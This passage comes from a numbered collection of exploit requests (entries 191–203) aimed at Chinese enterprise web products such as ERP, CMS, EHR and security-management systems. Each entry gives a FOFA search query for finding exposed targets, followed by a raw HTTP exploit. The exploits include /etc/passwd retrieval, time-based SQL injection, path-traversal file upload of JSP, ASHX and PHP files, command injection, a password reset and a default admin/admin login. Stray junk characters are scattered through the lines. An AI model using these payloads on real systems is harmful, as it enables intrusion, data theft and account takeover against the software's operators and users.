( a2 [0 z! W7 k4 G4 U: |% \FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
$ E+ A: }& ]: G% i4 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
& I5 p7 f9 s" I5 B" N  Z) R7 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
+ H1 v! M# y. d( a- T# mAccept-Encoding: gzip, deflate
( g7 Y# B/ t# a( o' U: UAccept-Language: zh-CN,zh;q=0.9
, B6 k+ ?" X8 W9 G) ^) d* v# S/ v
8 f) d% E  D  ^4 u  o$ kpoi=file:///etc/passwd
3 h7 V" T8 k. q2 s; W
5 \* M+ ]5 @) u
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
+ A& \) n3 C5 b. T3 l" b6 |FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
- W* R/ v# r5 J% gHost: your-ip
, Z* C: K' b; u7 }! A3 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  f7 E: n( {& oContent-Type: application/x-www-form-urlencoded

7 `- G; I' x: acommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

5 G& \( f0 H$ e5 Q' M
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
  C/ w% _$ ?6 K( iPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
( Z, Y% c( O( r$ w" }" Y7 N8 P6 XHost: your-ip
- b( I8 t( ~# U& d3 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 a6 H+ ]0 E1 K2 T7 g% VContent-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
" |' v# K9 q3 E& \& f0 Ausing System;
. g% M8 F2 s2 P3 g* s9 t9 `- kusing System.Web;
9 y' q, D; o  h3 O0 R0 C0 @public class AverageHandler : IHttpHandler
% w) {; l  u3 T1 j{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
% {1 u/ Z& X( d0 o1 S' b0 F2 n- p, n{
2 s& |0 U+ U+ F/ x2 Bctx.Response.Write("test");
. r% }* O7 F3 W}
! H0 B# b4 ^0 R" n) L. g}
, K  \8 v: k5 I

  y  T- f8 R# k/ ?193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
: R/ @8 \1 d! I! a- `) MGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
+ P1 m1 k# H* D5 R+ rContent-Type: application/x-www-form-urlencoded
, Y3 x; ]; c" u& r  i! {User-Agent: Mozilla/5.0

' B6 P- g  h7 ]5 p
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
( E; o' K/ L8 {% h1 @* g! E- x; ~Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
5 p. N# R1 ^. |5 }* s& U. Q
9 z0 I3 S& V* n) xparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
! g4 Z" }7 u# C+ Y; C
1 r) K# M% [; ~
GET /master/img/config HTTP/1.1
/ D* k7 C7 L; g' T/ j1 H2 L- P. j2 P& hHost:
* D/ B8 K. |" s: PUser-Agent: Mozilla/5.0

& U( J: V" T3 |3 P
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
& \7 l1 Y" H* R5 }) G5 B! l
POST /servlet/uploadAttachmentServlet HTTP/1.1
, v7 {) L/ u& a- j0 l6 m; ZHost: host
% h# m  ]/ G4 T2 o* F# O" W, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
, ~( m# O  P9 e( mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; X1 o! b2 h4 B' v' V* \6 R+ F+ NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

, {0 u: t2 s6 d# `2 VContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
  w  v6 t6 t3 k0 _1 F3 s<% out.println("hello");%>
5 e4 G2 S1 z' g5 _# a$ u2 f8 g/ h------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 [' `; w* c8 q& _Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

* A  R! u7 I7 S, D8 J* F+ k
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  S) Q# T& b, @FOFA：title=="飞鱼星企业级智能上网行为管理系统
% q4 Y- n5 L3 ^2 W$ n7 w% i, jPOST /send_order.cgi?parameter=operation HTTP/1.1
: F: e& a- G8 ]6 x6 G- |: _Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
- q: \  ]6 z: J% V+ ?2 ^  h: B+ y: LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: C  G! @0 \, t2 d  dConnection: close
- h, N- \4 E& l* T) P. Q2 J% I6 QContent-Type: application/x-www-form-urlencoded
Content-Length: 68

0 T& I7 }- T3 O" E  `+ R{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

4 w9 N% F& V; G* I2 x( _
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
8 G4 W. x% U" IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
+ C, R, [2 w5 R4 G0 U* o1 a! U1 fX-Requested-With: XMLHttpRequest
Host:
- `" H+ C$ g4 o8 d- M- yAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
4 l" A+ t) Q3 _7 CConnection: close

" }8 b7 E" l# t. Z+ n{"xgh":"test","newPass":"test666","email":""}
6 T* X7 r- O1 o1 `6 ~' j) @


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
9 f, O: y  y6 M: A1 G$ B- z8 o7 OHost:
" Z; ]8 l" ^' D$ H. E% ^( KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
( _, N) H1 l- G  A1 kAccept-Encoding: gzip, deflate
Connection: close



* U4 j( M- K1 l2 Z* `# z198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
6 _& A  X- u6 V( bGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
, n! t# A+ h, l8 Q% UCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
8 U, y! o( q4 FAccept-Encoding: gzip, deflate
) h+ ^1 x( N) M- T; ?) UAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
. H! v0 s4 k! }7 i8 p5 N
0 n2 \& p; m4 B% ]4 p
1 s7 h! B: y1 l5 y2 q199. cockpit系统assetsmanager_upload接口 文件上传
" r$ x: k( ~) t
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( p( s3 Z4 z: V5 }GET /auth/login?to=/ HTTP/1.1
. d0 F0 I3 ?' K5 z0 M  o) X
* k% d+ J  O  ?响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

, P/ O& g6 T9 R' c! J% W4 N2.使用刚才上一步获取到的jwt获取cookie：
. e  r9 P) f& w7 E. U
! @& z  O9 S& U& ~( MPOST /auth/check HTTP/1.1
* V* e% u6 q" WContent-Type: application/json
5 g* f9 I+ d0 m1 `/ m9 b
3 k) _/ I) M) r+ @{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
, {9 N7 A$ V0 ?, ^1 s/ g7 ]
  c, i* A$ i2 }; Y/ n响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
: I5 x0 F2 f! _& i+ E! gFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
7 R6 c/ h% L. H5 z7 f- z* ~4 b" u
-----------------------------36D28FBc36bd6feE7Fb3
- i, w0 j7 F: k+ _Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
6 `8 q9 a8 N7 P2 q& g3 K/ a
5 w' C( M. {+ J! b) m<?php echo "tttt";unlink(__FILE__);?>
/ O: C4 N& M3 J7 z0 U-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
* n$ W6 `, X2 X# s+ @
-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
! V" r! ]- d3 x2 \# P
  N. \9 |, e. l200. SeaCMS海洋影视管理系统dmku SQL注入
, ~' G3 W# f) i3 L0 Y9 VFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
4 _) F) j" y+ z2 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 ^3 e7 \" A, l) {; N0 v
+ r/ o; T7 l7 K. R
2 T" ]% r7 a" f* L* m0 k* `201. 方正全媒体新闻采编系统 binary SQL注入
# Q/ g6 q' S! y  @2 S$ }FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
/ z& J8 l0 w& c0 DPOST /newsedit/newsplan/task/binary.do HTTP/1.1
* l; h& P, s1 K& y+ {Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 Z% |, S& I! m) F8 OAccept-Encoding: gzip, deflate
# w" k# q1 V- t+ [4 s% E# O5 pAccept-Language: zh-CN,zh;q=0.9
- L1 g' n. v. B3 OConnection: close
: T3 ]; m/ M# m1 _& T- w9 `7 C% z
8 h8 z3 j, M' S. pTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
5 z) ]' P+ U/ t+ b9 Q8 }/ v
7 c; m) \. r! r( {4 Y1 u
) u6 l5 ^& [+ S202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
; [5 B" l: C& b$ c9 k获取__VIEWSTATE和__EVENTVALIDATION值
( _4 ^# D) m4 h" ~GET /User/AccountEdit.aspx HTTP/1.1
# t2 ?' G! @* e0 Q$ hHost: 滑板人之家
1 f1 f7 y& ?- a0 W; q0 H1 |2 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
" z) X1 p2 B& LContent-Length: 0
) P: g! j! C/ z6 {; z- {

替换__VIEWSTATE和__EVENTVALIDATION值
; F# A! `. V" X  J3 X2 b3 RPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
) K  {4 w6 O, R# f1 K- A7 W# uContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
9 d% m- w7 ^4 O' d* G6 a2 C. N( [
% o# x3 ^0 }. h1 H/ j! g8 @5 n8 w-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

" U! f" x, ?0 p6 S7 r__VIEWSTATE
9 m4 @5 D# U  U) E8 N-----------------------------786435874t38587593865736587346567358735687
& A: r8 r) `# y# [9 m: N2 zContent-Disposition: form-data; name="__EVENTVALIDATION"
# I; e& [: c8 {' o; S
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
$ W+ `0 f, W  D! T' `Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

+ J2 Q1 \6 C0 Z% R  M5 vHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

- X. ]/ y8 E* |/ y" G3 J上传图片
/ H5 I- s: ~/ v( t& m0 j5 u0 W-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
3 T& U+ e/ J: g" q$ ^; I
$ {# M2 N7 V# `$ A
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

  i  ^- g- ?5 p8 i' {
! ~1 x7 E) l' T0 W-----------------------------786435874t38587593865736587346567358735687--

# |+ Y2 Y/ W+ s. M: p' J& K0 U
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
7 d0 T4 X4 g( C( Z8 X6 }Host: x.x.x.x
Accept-Encoding: gzip
4 W, c+ g2 q9 ~5 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 h1 U, F) ~3 l3 m, |& AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
9 o+ `) Z: B! H6 X1 b! ZContent-Length: 210

( w  }7 H. U6 m9 s------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
, t$ }7 ?* |5 }  EContent-Type:image/jpeg

<% out.print("hello,eHR");%>
9 O% j$ C; C6 G$ i# V------WebKitFormBoundaryt7WbDl1tXogoZys4--
" a  Q: w4 j6 G( |6 V( r! O' |


" u* E$ }- D. F